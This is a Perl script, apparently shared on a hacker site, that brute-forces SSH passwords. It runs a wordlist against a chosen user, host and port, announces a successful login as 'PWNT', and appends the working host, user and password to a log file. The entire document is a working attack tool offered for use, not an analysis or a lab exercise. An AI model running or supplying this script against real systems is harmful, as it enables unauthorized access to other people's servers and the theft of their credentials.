#!/usr/bin/perl
use Net::SSH::Expect;

################################
####   Created by Tully     ####
####   zerodayexile.com     ####
################################


if ($#ARGV != 3)
{
print "\n ========================================== \n";
print " ==      =================  =============== \n";
print " =  ====  ================  =============== \n";
print " =  ====  ================  =============== \n";
print " ==  =======  =  ===   ===  =====  ==  = == \n";
print " ====  =====  =  ==  =  ==    =======     = \n";
print " ======  ====    ===    ==  =  ==  ==  =  = \n";
print " =  ====  =====  =====  ==  =  ==  ==  =  = \n";
print " =  ====  ==  =  ==  =  ==  =  ==  ==  =  = \n";
print " ==      ====   ====   ===    ===  ==  =  = \n";
print " ========================================== \n";

    print "           \#\#\#\#\# USAGE \#\#\#\#\#\n";
    print "\nperl sygbin.pl root wordlist.txt 10.0.0.1 22\n\n";
}
else
{

        open(WLIST, $ARGV[1]) || die "cant open file $ARGV[1]";
        @wordlist=<WLIST>;
        close(WLIST);
        $host = $ARGV[2]; chomp($host);
        $port = $ARGV[3]; chomp($port);
          my $ssh = Net::SSH::Expect-> new(
             host => $host,
                port => $port,
             password => '',
             user => $ARGV[0],
             raw_pty => 1
          );
          $ssh->run_ssh() or die "SSH could not start: $!";
           $ssh->waitfor('(yes/no)\s*\z', 3) or print "No RSA auth needed\n";
           $ssh->send("yes");
            $ssh->close();


            foreach(@wordlist)
            {

                $pass = $_; chomp ($pass);
                print "Trying $pass\n";
                my $ssh = Net::SSH::Expect-> new(
                    host => $ARGV[2],
                    password => $pass,
                    user => $ARGV[0],
                    raw_pty => 1
                );
                $ssh->run_ssh() or die "SSH could not start: $!";
                $login = $ssh->login();
                if($login =~ /\#/)
                {
                    $who = $ssh->exec("whoami");
                    if ($who =~ /$ARGV[0]/ig)
                    {
                        print "LOGGED IN - PWNT!\n";
                        open (LOG, ">>ssh_log.txt");
                        print LOG "$host $ARGV[0] $pass\n";
                        close LOG;
                        last;
                    }
                }
            }

}